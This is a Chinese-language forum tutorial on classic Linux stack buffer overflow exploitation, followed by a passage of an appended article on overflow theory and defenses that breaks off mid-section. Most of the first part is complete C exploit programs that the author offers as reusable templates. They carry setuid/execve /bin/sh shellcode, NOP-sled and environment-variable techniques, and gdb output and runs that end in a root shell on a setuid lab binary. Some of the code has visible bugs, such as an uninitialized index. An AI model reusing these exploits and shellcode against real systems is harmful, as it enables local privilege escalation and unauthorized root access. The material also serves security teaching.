"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xb0\x46" // mov $0x46,%al
"\xcd\x80" // int $0x80

// execve /bin/sh
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
"\x50" // push %eax
"\x53" // push %ebx
"\x8d\x0c\x24" // lea (%esp,1),%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80

// exit();
"\x31\xc0" // xor %eax,%eax
"\xb0\x01" // mov $0x1,%al
"\xcd\x80"; // int $0x80


unsigned long get_esp(){
      __asm__("movl %esp,%eax");

}

int main(int argc,char *argv[]){
      char buf[530];
      char* p;
      p=buf;
      int i;
      unsigned long ret;
      int offset=0;

      /* offset=400 will success */
      if(argc>1)
           offset=atoi(argv[1]);

      ret=get_esp()-offset;

      memset(buf,0x90,sizeof(buf));

      memcpy(buf+524,(char*)&ret,4);

      /* modify this value will modify nops and shellcode addr */
      memcpy(buf+i+100,shellcode,strlen(shellcode));

      printf("ret is at 0x%8x\n esp is at 0x%8x\n",ret,get_esp());

      execl("./stack2","stack2",buf,NULL);

      return 0;
}
[tt@ph4nt0m explab]$

先用
memset(buf,0x90,sizeof(buf));
把整个BUF填满NOPS


memcpy(buf+i+100,shellcode,strlen(shellcode));
从BUF[100]开始填充SHELLCODE,前面和后面都是NOPS
当然可以增大NOPS的数目,这可以修改100这个值,但是要记住不要让SHELLCODE把EIP给覆盖了!

再接下来就是
memcpy(buf+524,(char*)&ret,4);
把EIP用我们的RET覆盖,让程序跳转到NOPS里面,一直到执行我们的SHELLCODE
(前面不是提过NOPS的特性吗?)

最后就是用
execl("./stack2","stack2",buf,NULL);
来执行漏洞程序,并把我们精心构造的BUF拷贝进去了!
注意,EXPLOIT里面的BUF是我们自己精心构造的!

剩下的一个难点就是RET的值的确定

因为程序的流程已经很清楚了,但是RET是我们必需要小心控制的,因为他不能落到别的地方,必需落
到我们的NOPS里面!

这里使用的方法一般是ESP-OFFSET的方法

所以我们先
unsigned long get_esp(){
__asm__("movl %esp,%eax");

}

取得ESP的值,虽然这个值和EXECL后漏洞程序的ESP的值不同,但不会相差很远.然后再用OFFSET来调整,
这样就可以得到正确的RET值了.

我们打印出BUF的地址,因为我们的NOPS是从BUF开始的,所以只需要直到BUF的地址,把RET控制在&BUF+100
的范围内,就可以保证RET落在NOPS中!

具体可以通过GDB调试来看


(gdb) r
Starting program: /home/tt/explab/stackexp2
ret is at 0xbffff2c0
esp is at 0xbffff2f8

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000be0 in _start () from /lib/ld-linux.so.2
(gdb) c
Continuing.
buf's 0xbfffea40

Program received signal SIGSEGV, Segmentation fault.
0xbffff2c0 in ?? ()
(gdb) i reg eip ebp esp
eip 0xbffff2c0 0xbffff2c0
ebp 0x90909090 0x90909090
esp 0xbfffec50 0xbfffec50
(gdb) x/50x $esp-532
0xbfffea3c: 0x00000000 0x90909090 0x90909090 0x90909090
0xbfffea4c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea5c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea6c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea7c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea8c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea9c: 0x90909090 0x90909090 0xdb31c031 0x46b0c931
0xbfffeaac: 0xc03180cd 0x2f2f6850 0x2f686873 0x896e6962
0xbfffeabc: 0x24548de3 0x8d535008 0x0bb0240c 0xc03180cd
0xbfffeacc: 0x80cd01b0 0x90909090 0x90909090 0x90909090
0xbfffeadc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeaec: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeafc: 0x90909090 0x90909090
(gdb)

看到了我们的SHELLCODE了吧!

但是我们的RET没有跳到这里来,
(gdb) i reg eip ebp esp
eip 0xbffff2c0 0xbffff2c0
我们的RET现在跳到这里去了......

那么我们改变OFFSET

[tt@ph4nt0m explab]$ ./stackexp2
ret is at 0xbfffe0c0
esp is at 0xbfffe0f8
buf's 0xbfffd930
段错误
[tt@ph4nt0m explab]$ ./stackexp2 100
ret is at 0xbfffd7a4
esp is at 0xbfffd7f8
buf's 0xbfffd630
段错误
[tt@ph4nt0m explab]$ ./stackexp2 200
ret is at 0xbffff0c0
esp is at 0xbffff178
buf's 0xbfffefb0
段错误
[tt@ph4nt0m explab]$ ./stackexp2 300
ret is at 0xbfffeb5c
esp is at 0xbfffec78
buf's 0xbfffeab0
非法指令
[tt@ph4nt0m explab]$ ./stackexp2 400
ret is at 0xbfffd6f8
esp is at 0xbfffd878
buf's 0xbfffd6b0
sh-2.05b$

看!当我们的OFFSET到400时,就成功溢出拿到SHELL了!

为什么不是ROOT?
那是因为我们的漏洞程序stack2没有加上s位
当我们加上s位后

[tt@ph4nt0m explab]$ ls stack2 -l
-rwsrwsr-x 1 root root 11673 7月 21 15:42 stack2
[tt@ph4nt0m explab]$ ./stackexp2 400
ret is at 0xbfffd8f8
esp is at 0xbfffda78
buf's 0xbfffd8b0
sh-2.05b#

看!拿到ROOT SHELL了,中彩票了!!!

2.RRRRRRRRRRNNNNNNNNNNNSSSSSSSSSS型

这种方法同样适合于大的和小的缓冲区,而且RET地址容易计算,明显优于前一种方法!

原理是:
首先将整个BUF填满RET,一直到保证RET已经覆盖了EIP,接下来在RET之后紧跟大量的NOPS,
最后当然就是我们的SHELLCODE!

而RET地址在这里也非常好确定,因为整个BUF的大小是我们自给确定的(这里的BUF是我们构造
的BUF,而不是原来程序中的那个被溢出的BUF),所以只需要在BUF的起始地址再加上一个OFFSET
就可以让RET落在NOPS里面了.

我们看原来的第一个例子

[tt@ph4nt0m explab]$ cat stack1.c
#include<stdio.h>

int main(int argc,char **argv){
       char buf[10];
       strcpy(buf,argv[1]);
       printf("buf's 0x%8x\n",&buf);
       return 0;

}
[tt@ph4nt0m explab]$

在stack1.c里,buf只有10BYTES,就算加上GCC分配的填充物也只有28BYTES可以利用,很可能放
不下我们的SHELLCODE,所以第一种方法在这里就不适用了.

我们采用RRRRNNNNSSSSS型的填充方法.

下面是我写的一个演示EXPLOIT,可以作为类似EXPLOIT的模板

[tt@ph4nt0m explab]$ cat stackexp3.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char shellcode[]=
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";



int main(int argc,char **argv){
      char buf[500];
      unsigned long ret,p;
      int i;

      p=&buf;
      ret=p+70;

     memset(buf,0x90,sizeof(buf));

     for(i=0;i<44;i+=4)
           *(long *)&buf=ret;

     memcpy(buf+400+i,shellcode,strlen(shellcode));

     execl("./stack1","stack1",buf,NULL);

     return 0;
}
[tt@ph4nt0m explab]$

先分配一个500BYTES的大BUF,用于我们的构造
把整个BUFFER填满NOPS
memset(buf,0x90,sizeof(buf));

然后把前44BYTES填满RET,这里的44是随便选的,目的只是需要保证覆盖调EIP就可以了.
从前面的分析直到,当覆盖32BYTES时,就会覆盖掉EIP,所以44可以达到我们的要求.
for(i=0;i<44;i+=4)
*(long *)&buf=ret;

接下来把SHELLCODE复制到合适的位置.
memcpy(buf+400+i,shellcode,strlen(shellcode));
这样在SHELLCODE前面几乎有300多个NOPS,成功机率非常大.

最后再执行漏洞程序,拷贝我们精心构造的BUF到目标程序


剩下的关键问题是RET值的确定问题
如前所述,RET的值应该是BUF的起始地址加上一个OFFSET,使得RET能够落在NOPS里面

我们的BUF的结构是RRRRRRNNNNNNNSSSSSS
而RET是从BUF的起始地址开始填充起的,所以,只需要OFFSET能够跳过RET,就可以落到NOPS
里了.

从而我们这样计算
p=&buf;

ret=p+70;

显然,70>44,所以在这个例子中,RET可以跳到NOPS中执行.我们实际来看看

[tt@ph4nt0m explab]$ ./stackexp3
buf's 0xbfffef40
sh-2.05b#

内存分布如下

(gdb) x/50x $esp-36
0xbfffdcdc: 0x08048269 0xbfffe186 0xbfffe186 0xbfffe186
0xbfffdcec: 0xbfffe186 0xbfffe186 0xbfffe186 0xbfffe186
0xbfffdcfc: 0xbfffe186 0xbfffe186 0xbfffe186 0xbfffe186
0xbfffdd0c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd1c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd2c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd3c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd4c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd5c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd6c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd7c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd8c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd9c: 0x90909090 0x90909090
(gdb)
......
(gdb)
0xbfffde70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde90: 0x90909090 0x90909090 0x90909090 0xd889db31
0xbfffdea0: 0x80cd17b0 0xd889db31 0x80cd17b0 0xd889db31
0xbfffdeb0: 0x80cd2eb0 0x6850c031 0x68732f2f 0x69622f68
0xbfffdec0: 0x50e3896e 0x31e18953 0xcd0bb0d2 0x89db3180
0xbfffded0: 0xcd01b0d8 0x0000c680 0x00000000 0x00000000
0xbfffdee0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffdef0: 0x00000000 0x00000000 0x00000000 0x00000000

中间省略的是大量NOPS,正如我们想要的那样,BUF按照我们需要的RRRRRNNNNNSSSSS
方式填充了!

3.利用环境变量

这是目前最有效也最常用的一种方法.适应能力强,而且可以精确定位SHELLCODE的地址,
所以连NOPS都可以不必要,这样带来的好处是绕过了一些环境的安全检察,因为大量的NOPS
肯可能会被检测出来而无法通过执行.

函数execve()是一个比较特殊的函数,他的某些特性能让我们写EXPLOIT事半功倍.

具体原理可以参考OYXin翻译的<<利用execve()函数写无nops exploit>>
可以在http://www.ph4nt0m.net/docs/env.txt找到这篇文章.

简单来说就是把SHELLCODE放到环境变量里.execve()可以提供一个全新的环境给程序.从内存
高址0xc0000000开始计算起,文件名,程序execve()后的环境和参数将被COPY进内存.

这样,只要按照一定顺序,我们就可以公式般计算SHELLCODE的准确位置!
SHELLCODE地址的计算方法是
0xc0000000 - 0x04 - sizeof(filename) - sizeof(shellcode)

这个时候,我们的BUF构造就相对非常简单了.只需要AAAAAAAAR的方式来进行填充
A只需要填充BUF一直到EBP,最后的EIP用一个RET进行覆盖,RET准确的指向SHELLCODE的地址
最后再用SHELLCODE执行整个程序就可以了 !


我们还是针对stack1.c来进行溢出
[tt@ph4nt0m explab]$ cat stack1.c
#include<stdio.h>

int main(int argc,char **argv){
       char buf[10];
       strcpy(buf,argv[1]);
       printf("buf's 0x%8x\n",&buf);
       return 0;

}
[tt@ph4nt0m explab]$

下面是我写的一个演示的EXPLOIT,可以作为类似EXPLOIT的一个模板

[tt@ph4nt0m explab]$ cat stackexp1.c
#include<stdio.h>

char shellcode[]=
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";

int main(int argc,char **argv){
      char buf[32];
      char *p[]={"./stack1",buf,NULL};
      char *env[]={"HOME=/root",shellcode,NULL};
      unsigned long ret;
      ret=0xc0000000-strlen(shellcode)-strlen("./stack1")-sizeof(void *);

      memset(buf,0x41,sizeof(buf));
      memcpy(&buf[28],&ret,4);

      printf("ret is at 0x%8x\n",ret);
      execve(p[0],p,env);

      return 0;
}
[tt@ph4nt0m explab]$

把SHELLCODE放入将要执行的环境变量中
char *env[]={"HOME=/root",shellcode,NULL};

把整个BUF用A填满
memset(buf,0x41,sizeof(buf));

计算RET的值,并覆盖EIP
ret=0xc0000000-strlen(shellcode)-strlen("./stack1")-sizeof(void *);
......
memcpy(&buf[28],&ret,4);

最后执行execve()
execve(p[0],p,env);


我们来看看运行EXPLOIT的内存分布


(gdb) b execve
Breakpoint 1 at 0x80482ec
(gdb) r
Starting program: /home/tt/explab/stackexp1
Breakpoint 1 at 0x420ac7f6
ret is at 0xbfffffbb

Breakpoint 1, 0x420ac7f6 in execve () from /lib/tls/libc.so.6
(gdb) i reg
eax 0xbfffe190 -1073749616
ecx 0x4212ee20 1108536864
edx 0x15 21
ebx 0x42130a14 1108544020
esp 0xbfffe150 0xbfffe150
ebp 0xbfffe158 0xbfffe158
esi 0x40015360 1073828704
edi 0x80484dc 134513884
eip 0x420ac7f6 0x420ac7f6
eflags 0x286 646
......

(gdb) x/50x $esp
0xbfffe150: 0x420ac7f0 0x40015a38 0xbfffe1c8 0x080484a2
0xbfffe160: 0x08048558 0xbfffe190 0xbfffe180 0x4207a750
0xbfffe170: 0x4000807f 0x4001582c 0x00000036 0xbfffffbb
0xbfffe180: 0x08048561 0x080495c0 0x00000000 0x40016380
0xbfffe190: 0x08048558 0xbfffe1a0 0x00000000 0x0804837a
0xbfffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe1b0: 0x41414141 0x41414141 0x41414141 0xbfffffbb
0xbfffe1c0: 0x42130a14 0x40015360 0xbfffe1e8 0x42015574
0xbfffe1d0: 0x00000001 0xbfffe214 0xbfffe21c 0x4001582c
......

(gdb) c
......
(gdb) x/50x $esp
......
0xbfffff40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff50: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff60: 0x00000000 0x00000000 0x00000000 0x36690000
0xbfffff70: 0x2e003638 0x6174732f 0x00316b63 0x41414141
0xbfffff80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffff90: 0x41414141 0x41414141 0xbfffffbb 0x42130a14
0xbfffffa0: 0x40015360 0xbfffe1e8 0x42015574 0x4f480001
0xbfffffb0: 0x2f3d454d 0x746f6f72 0x89db3100 0xcd17b0d8
0xbfffffc0: 0x89db3180 0xcd17b0d8
(gdb)
0xbfffffc8: 0x89db3180 0xcd2eb0d8 0x50c03180 0x732f2f68
0xbfffffd8: 0x622f6868 0xe3896e69 0xe1895350 0x0bb0d231
0xbfffffe8: 0xdb3180cd 0x01b0d889 0x2e0080cd 0x6174732f
0xbffffff8: 0x00316b63 0x00000000 Cannot access memory at address 0xc0000000

(gdb) x/50x 0xbfffffc1
0xbfffffc1: 0xd889db31 0x80cd17b0 0xd889db31 0x80cd2eb0
0xbfffffd1: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
0xbfffffe1: 0x31e18953 0xcd0bb0d2 0x89db3180 0xcd01b0d8
0xbffffff1: 0x2f2e0080 0x63617473 0x0000316b Cannot access memory at address 0xbffffffd
(gdb)


我们已经可以看到程序按照我们的想法执行了.

[tt@ph4nt0m explab]$ ./stackexp1
ret is at 0xbfffffbb
buf's 0xbffffc60
sh-2.05b#


以上是三种常用的方法.

最后,简单说说关于传递环境变量到BUF造成溢出的问题

很多程序由于没有对环境变量进行边界检查,所以当赋予环境变量一个超长的值时,
运行该有漏洞的程序,将把环境变量拷贝进缓冲区,造成溢出.

通常通过setenv(),putenv()等函数进行传递被我们构造的环境变量

由于篇幅关系,这里不再详悉叙述,仅仅给出一个例子和我写的一个相应的EXPLOIT作为参考.

[tt@ph4nt0m explab]$ cat env1.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv){
       char buffer[500];

       printf("buf addr is- %p -\n", &buffer);
       strcpy(buffer, getenv("PH4NT0M"));

       return 0;
}
[tt@ph4nt0m explab]$

下面是我写的一个演示EXPLOIT,可以作为类似EXPLOIT的一个模板

[tt@ph4nt0m explab]$ cat envexp1.c
#include <stdlib.h>
#include <unistd.h>

char shellcode[]=
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";

unsigned long get_esp(){
     __asm__("movl %esp,%eax");
}

int main(int argc, char **argv){
     char buf[528];
     int i;
     int offset=90;
     unsigned long ret;
     memset(buf,0x90,sizeof(buf));

     /* set offset to 100 to spawn a shell! */
     if(argc>1)
     offset=atoi(argv[1]);

     ret=get_esp()-offset;

     memcpy(buf+524,&ret,4);
     memcpy(buf+400+i,shellcode,strlen(shellcode));

     setenv("PH4NT0M",buf,1);

      printf("retaddr is at 0x%lx \n",ret);

      execl("./env1","env1",NULL);

      return 0;
}
[tt@ph4nt0m explab]$

运行结果如下,OFFSET取100时,造成溢出,得到SHELL

[tt@ph4nt0m explab]$ ./envexp1
retaddr is at 0xbffff1ce
buf addr is- 0xbfffefa0 -
段错误
[tt@ph4nt0m explab]$ ./envexp1 100
retaddr is at 0xbfffed34
buf addr is- 0xbfffeba0 -
sh-2.05b$


以上作为自己学习过程中的一点心得,方便以后备查,也希望能帮助需要的朋友.还请各位前辈
指正其中的缺陷和错误.

TOP

缓冲区溢出攻击

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在
。利用缓冲区溢出攻击,可以导致程序运行失败、系统当机、重新启动等后果。更为严重的是
,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。缓冲区溢出
攻击有多种英文名称:buffer overflow,buffer overrun,smash the stack,trash the s
tack,scribble the stack, mangle the stack, memory leak,overrun screw;它们指的
都是同一种攻击手段。第一个缓冲区溢出攻击--Morris蠕虫,发生在十年前,它曾造成了全世
界6000多台网络服务器瘫痪。

  本文将分析缓冲区溢出的原理;研究各种类型的缓冲区溢出漏洞和攻击手段;最后,还
将着重研究各种防御手段,用来消除这些漏洞所造成的影响。

一、 缓冲区溢出的原理

  通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,
使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查
用户输入的参数。例如下面程序:


void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}



  上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度大于16,就
会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),
sprintf(),vsprintf(),gets(),scanf()等。

  当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation f
ault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户s
hell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了
一个有root权限的shell,可以对系统进行任意操作了。

  缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了
,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予
了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓
冲区溢出漏洞的程序,从而得到被攻击主机的控制权。

  在1998年Lincoln实验室用来评估入侵检测的的5种远程攻击中,有2种是缓冲区溢出。而
在1998年CERT的13份建议中,有9份是是与缓冲区溢出有关的,在1999年,至少有半数的建议
是和缓冲区溢出有关的。在Bugtraq的调查中,有2/3的被调查者认为缓冲区溢出漏洞是一个很
严重的安全问题。

  缓冲区溢出漏洞和攻击有很多种形式,会在第二节对他们进行描述和分类。相应地防卫
手段也随者攻击方法的不同而不同,将在第四节描述,它的内容包括针对每种攻击类型的有效
的防卫手段。

二、缓冲区溢出的漏洞和攻击

  缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者
取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。一般而言,攻击
者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root权限的shell。为了达到
这个目的,攻击者必须达到如下的两个目标:

1. 在程序的地址空间里安排适当的代码。

2. 通过适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行。

  根据这两个目标来对缓冲区溢出攻击进行分类。在二.1节,将描述攻击代码是如何放入
被攻击程序的地址空间的。在二.2节,将介绍攻击者如何使一个程序的缓冲区溢出,并且执行
转移到攻击代码(这个就是“溢出”的由来)。在二.3节,将综合前两节所讨论的代码安排和
控制程序执行流程的技术。

二.1 在程序的地址空间里安排适当的代码的方法

有两种在被攻击程序地址空间里安排攻击代码的方法:

1、植入法:

  攻击者向被攻击的程序输入一个字符串,程序会把这个字符串放到缓冲区里。这个字符
串包含的资料是可以在这个被攻击的硬件平台上运行的指令序列。在这里,攻击者用被攻击程
序的缓冲区来存放攻击代码。缓冲区可以设在任何地方:堆栈(stack,自动变量)、堆(he
ap,动态分配的内存区)和静态资料区。

2、利用已经存在的代码:

  有时,攻击者想要的代码已经在被攻击的程序中了,攻击者所要做的只是对代码传递一
些参数。比如,攻击代码要求执行“exec (“/bin/sh”)”,而在libc库中的代码执行“exe
c (arg)”,其中arg使一个指向一个字符串的指针参数,那么攻击者只要把传入的参数指针改
向指向”/bin/sh”。

二.2 控制程序转移到攻击代码的方法
  所有的这些方法都是在寻求改变程序的执行流程,使之跳转到攻击代码。最基本的就是
溢出一个没有边界检查或者其它弱点的缓冲区,这样就扰乱了程序的正常的执行顺序。通过溢
出一个缓冲区,攻击者可以用暴力的方法改写相邻的程序空间而直接跳过了系统的检查。

  分类的基准是攻击者所寻求的缓冲区溢出的程序空间类型。原则上是可以任意的空间。实
际上,许多的缓冲区溢出是用暴力的方法来寻求改变程序指针的。这类程序的不同之处就是程
序空间的突破和内存空间的定位不同。主要有以下三种: 1、活动纪录(Activation Record
s):

  每当一个函数调用发生时,调用者会在堆栈中留下一个活动纪录,它包含了函数结束时返
回的地址。攻击者通过溢出堆栈中的自动变量,使返回地址指向攻击代码。通过改变程序的返
回地址,当函数调用结束时,程序就跳转到攻击者设定的地址,而不是原先的地址。这类的缓
冲区溢出被称为堆栈溢出攻击(Stack Smashing Attack),是目前最常用的缓冲区溢出攻击
方式。

2、函数指针(Function Pointers):

  函数指针可以用来定位任何地址空间。例如:“void (* foo)()”声明了一个返回值为
void的函数指针变量foo。所以攻击者只需在任何空间内的函数指针附近找到一个能够溢出的
缓冲区,然后溢出这个缓冲区来改变函数指针。在某一时刻,当程序通过函数指针调用函数时
,程序的流程就按攻击者的意图实现了。它的一个攻击范例就是在Linux系统下的superprobe
程序。

3、长跳转缓冲区(Longjmp buffers):

  在C语言中包含了一个简单的检验/恢复系统,称为setjmp/longjmp。意思是在检验点设
定“setjmp(buffer)”,用“longjmp(buffer)”来恢复检验点。然而,如果攻击者能够进入
缓冲区的空间,那么“longjmp(buffer)”实际上是跳转到攻击者的代码。象函数指针一样,
longjmp缓冲区能够指向任何地方,所以攻击者所要做的就是找到一个可供溢出的缓冲区。一
个典型的例子就是Perl 5.003的缓冲区溢出漏洞;攻击者首先进入用来恢复缓冲区溢出的的l
ongjmp缓冲区,然后诱导进入恢复模式,这样就使Perl的解释器跳转到攻击代码上了。

二.3代码植入和流程控制技术的综合分析

  最简单和常见的缓冲区溢出攻击类型就是在一个字符串里综合了代码植入和活动纪录技
术。攻击者定位一个可供溢出的自动变量,然后向程序传递一个很大的字符串,在引发缓冲区
溢出,改变活动纪录的同时植入了代码。这个是由Levy指出的攻击的模板。因为C在习惯上只
为用户和参数开辟很小的缓冲区,因此这种漏洞攻击的实例十分常见。

  代码植入和缓冲区溢出不一定要在在一次动作内完成。攻击者可以在一个缓冲区内放置
代码,这是不能溢出的缓冲区。然后,攻击者通过溢出另外一个缓冲区来转移程序的指针。这
种方法一般用来解决可供溢出的缓冲区不够大(不能放下全部的代码)的情况。

  如果攻击者试图使用已经常驻的代码而不是从外部植入代码,他们通常必须把代码作为
参数调用。举例来说,在libc(几乎所有的C程序都要它来连接)中的部分代码段会执行“ex
ec(something)”,其中somthing就是参数。攻击者然后使用缓冲区溢出改变程序的参数,然
后利用另一个缓冲区溢出使程序指针指向libc中的特定的代码段。

三、 缓冲区溢出攻击的实验分析

  2000年1月,Cerberus 安全小组发布了微软的IIS 4/5存在的一个缓冲区溢出漏洞。攻击
该漏洞,可以使Web服务器崩溃,甚至获取超级权限执行任意的代码。目前,微软的IIS 4/5
是一种主流的Web服务器程序;因而,该缓冲区溢出漏洞对于网站的安全构成了极大的威胁;
它的描述如下:

  浏览器向IIS提出一个HTTP请求,在域名(或IP地址)后,加上一个文件名,该文件名以
“.htr”做后缀。于是IIS认为客户端正在请求一个“.htr”文件,“.htr”扩展文件被映像
成ISAPI(Internet Service API)应用程序,IIS会复位向所有针对“.htr”资源的请求到
ISM.DLL程序 ,ISM.DLL 打开这个文件并执行之。

  浏览器提交的请求中包含的文件名存储在局部变量缓冲区中,若它很长,超过600个字符
时,会导致局部变量缓冲区溢出,覆盖返回地址空间,使IIS崩溃。更进一步,在如图1所示的
2K缓冲区中植入一段精心设计的代码,可以使之以系统超级权限运行。

四、缓冲区溢出攻击的防范方法

  缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet
用户有机会获得一台主机的部分或全部的控制权。如果能有效地消除缓冲区溢出的漏洞,则很
大一部分的安全威胁可以得到缓解。

  目前有四种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响。在四.1中介绍了通过
操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。在四.2中介绍了强制写正确的
代码的方法。在四.3中介绍了利用编译器的边界检查来实现缓冲区的保护。这个方法使得缓冲
区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是相对而言代价比较大。在四.4中
介绍一种间接的方法,这个方法在程序指针失效前进行完整性检查。虽然这种方法不能使得所
有的缓冲区溢出失效,但它能阻止绝大多数的缓冲区溢出攻击。然后在四.5,分析这种保护方
法的兼容性和性能优势。
四.1 非执行的缓冲区

  通过使被攻击程序的数据段地址空间不可执行,从而使得攻击者不可能执行被植入被攻
击程序输入缓冲区的代码,这种技术被称为非执行的缓冲区技术。在早期的Unix系统设计中,
只允许程序代码在代码段中执行。但是近来的Unix和MS Windows系统由于要实现更好的性能和
功能,往往在数据段中动态地放入可执行的代码,这也是缓冲区溢出的根源。为了保持程序的
兼容性,不可能使得所有程序的数据段不可执行。

  但是可以设定堆栈数据段不可执行,这样就可以保证程序的兼容性。Linux和Solaris都
发布了有关这方面的内核补丁。因为几乎没有任何合法的程序会在堆栈中存放代码,这种做法
几乎不产生任何兼容性问题,除了在Linux中的两个特例,这时可执行的代码必须被放入堆栈
中:

(1)信号传递:

  Linux通过向进程堆栈释放代码然后引发中断来执行在堆栈中的代码来实现向进程发送Un
ix信号。非执行缓冲区的补丁在发送信号的时候是允许缓冲区可执行的。

(2)GCC的在线重用:

  研究发现gcc在堆栈区里放置了可执行的代码作为在线重用之用。然而,关闭这个功能并
不产生任何问题,只有部分功能似乎不能使用。

  非执行堆栈的保护可以有效地对付把代码植入自动变量的缓冲区溢出攻击,而对于其它
形式的攻击则没有效果。通过引用一个驻留的程序的指针,就可以跳过这种保护措施。其它的
攻击可以采用把代码植入堆或者静态数据段中来跳过保护。

四.2 编写正确的代码

  编写正确的代码是一件非常有意义的工作,特别象编写C语言那种风格自由而容易出错的
程序,这种风格是由于追求性能而忽视正确性的传统引起的。尽管花了很长的时间使得人们知
道了如何编写安全的程序,具有安全漏洞的程序依旧出现。因此人们开发了一些工具和技术来
帮助经验不足的程序员编写安全正确的程序。

  最简单的方法就是用grep来搜索源代码中容易产生漏洞的库的调用,比如对strcpy和spr
intf的调用,这两个函数都没有检查输入参数的长度。事实上,各个版本C的标准库均有这样
的问题存在。

  此外,人们还开发了一些高级的查错工具,如fault injection等。这些工具的目的在于
通过人为随机地产生一些缓冲区溢出来寻找代码的安全漏洞。还有一些静态分析工具用于侦测
缓冲区溢出的存在。

  虽然这些工具帮助程序员开发更安全的程序,但是由于C语言的特点,这些工具不可能找
出所有的缓冲区溢出漏洞。所以,侦错技术只能用来减少缓冲区溢出的可能,并不能完全地消
除它的存在。
四.3 数组边界检查

  数组边界检查能防止所有的缓冲区溢出的产生和攻击。这是因为只要数组不能被溢出,
溢出攻击也就无从谈起。为了实现数组边界检查,则所有的对数组的读写操作都应当被检查以
确保对数组的操作在正确的范围内。最直接的方法是检查所有的数组操作,但是通常可以采用
一些优化的技术来减少检查的次数。目前有以下的几种检查方法:

1、 Jones & Kelly: C的数组边界检查

